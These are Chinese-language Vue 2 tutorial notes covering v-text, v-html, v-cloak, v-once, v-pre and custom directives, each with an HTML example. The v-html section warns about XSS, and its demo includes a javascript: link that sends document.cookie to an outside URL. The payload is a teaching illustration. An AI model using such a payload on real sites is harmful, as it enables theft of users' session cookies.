v-text 指令
v-text指令:
作用：向其所在的节点中渲染文本内容
与插值语法的区别：v-text会替换掉节点中的内容，{{xxx}}则不会，更灵活
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-text指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<div>你好{{name}}</div>
<!-- v-text会直接替换 你好, 内容 -->
<div v-text="name">你好,</div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
name:"尚硅谷",
str:'<h3>你好啊</h3>'
}
})
</script>
</html>
v-html指令
作用：向指定节点中渲染包含html结构的内容
与插值语法的区别：
ⅰv-html会替换掉节点中所有的内容，{{xxx}}则不会
ⅱv-html可以识别html结构
严重注意v-html有安全性问题！！！
ⅰ在网站上动态渲染任意html是非常危险的，容易导致 XSS 攻击
ⅱ一定要在可信的内容上使用v-html，永远不要用在用户提交的内容上！！！
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-text指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<div>你好{{name}}</div>
<!-- v-text会直接替换 你好, 内容 -->
<div v-html="str">你好,</div>
<div v-html="str2">你好,</div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
name:"尚硅谷",
str:'<h3>你好啊</h3>',
str2:'<a href=javascript:location.href="https://www.baidu.com?"+document.cookie> 获取自己哦</a>'
}
})
</script>
</html>
v-cloak
v-cloak指令（没有值）
a本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性
b使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-cloak指令</title>
</head>
<style>
[v-cloak]{
display: none;
}
</style>
<body>
<div id="root">
<!-- v-cloak:绑定上面样式,避免未解析的模板,跑到页面上 -->
<div v-cloak>你好{{name}}</div>
</div>
<!-- 加载比较慢,上面的标签会先显示出来 -->
<script type="text/javascript" src="../js/vue.js"></script>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
name:"尚硅谷",
}
})
</script>
</html>
v-once
v-once 指令
●v-once所在节点在初次动态渲染后，就视为静态内容了
●以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-cloak指令</title>
</head>
<!-- 加载比较慢,上面的标签会先显示出来 -->
<script type="text/javascript" src="../js/vue.js"></script>
<body>
<div id="root">
<!--v-once:节点内容不会改变了 -->
<h2 v-once>初始化的n值是:{{n}}</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
n:1,
}
})
</script>
</html>
v-pre 指令
1跳过v-pre所在节点的编译过程
2可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-cloak指令</title>
</head>
<!-- 加载比较慢,上面的标签会先显示出来 -->
<script type="text/javascript" src="../js/vue.js"></script>
<body>
<div id="root">
<!--v-once:节点内容不会改变了 -->
<h2 v-pre>vue其实很简单</h2>
<h2 v-pre>当前值是:{{n}}</h2>
<h2>当前的n值是:{{n}}</h2>
<button v-pre @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
n:1,
}
})
</script>
</html>
自定义指令 directives
定义语法
new Vue({
directives:{
指令名:配置对象
}
})
new Vue({
directives:{
指令名:回调函数
}
})
全局指令
Vue.directive(指令名, 配置对象)
或
Vue.directive(指令名, 回调函数)
Vue.directive('fbind', {
// 指令与元素成功绑定时（一上来）
bind(element, binding) { // element就是DOM元素，binding就是要绑定的
element.value = binding.value
},
// 指令所在元素被插入页面时
inserted(element, binding) {
element.focus()
},
// 指令所在的模板被重新解析时
update(element, binding) {
element.value = binding.value
}
})
配置对象中常用的3个回调函数
bind(element, binding) 指令与元素成功绑定时调用
inserted(element, binding)指令所在元素被插入页面时调用
update(element, binding) 指令所在模板结构被重新解析时调用
element就是DOM元素，binding就是要绑定的对象，它包含以下属性：name value oldValue expression arg modifiers
备注
a指令定义时不加v-，但使用时要加v-
b指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名
自定义指令
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>自定义指令</title>
</head>
<script type="text/javascript" src="../js/vue.js"></script>
<body>
<div id="root">
<!-- 1、定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍 -->
<h2>当前的n值是:<span v-text="n"></span></h2>
<h2>放大十倍后的n值是:<span v-big="n"></span></h2>
<button @click="n++">点我n+1</button>
<hr />
<input type="text" v-fbind:value="n"></input>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
//全局的自定义指令
// Vue.directive('fbind', {
// //指令与元素成功绑定时
// bind(elememt, binding) {
// // this是window对象
// elememt.value = binding.value
// },
// inserted(elememt, binding) {
// // this是window对象
// //获取焦点
// elememt.focus()
// },
// //指令所在的末班被重新解析时
// update(elememt, binding) {
// // this是window对象
// elememt.value = binding.value
// }
// })
new Vue({
el: '#root',
data: {
n: 1,
},
directives: {
// elememt v-big 修饰的元素<span>
// binding v-big 和 span的绑定对象。
//调用时机
//1、指令与元素成功绑定时。
//2、指令所在的模板被重新解析时。
big(elememt, binding) {
elememt.innerText = binding.value * 10;
//console.log(elememt,binding)
},
//方式一
// fbind(element,bingding){
// elememt.value = binding.value
// },
//方式二
fbind: {
//指令与元素成功绑定时
bind(elememt, binding) {
// this是window对象
elememt.value = binding.value
},
inserted(elememt, binding) {
// this是window对象
//获取焦点
elememt.focus()
},
//指令所在的末班被重新解析时
update(elememt, binding) {
// this是window对象
elememt.value = binding.value
}
}
}
})
</script>
</html>
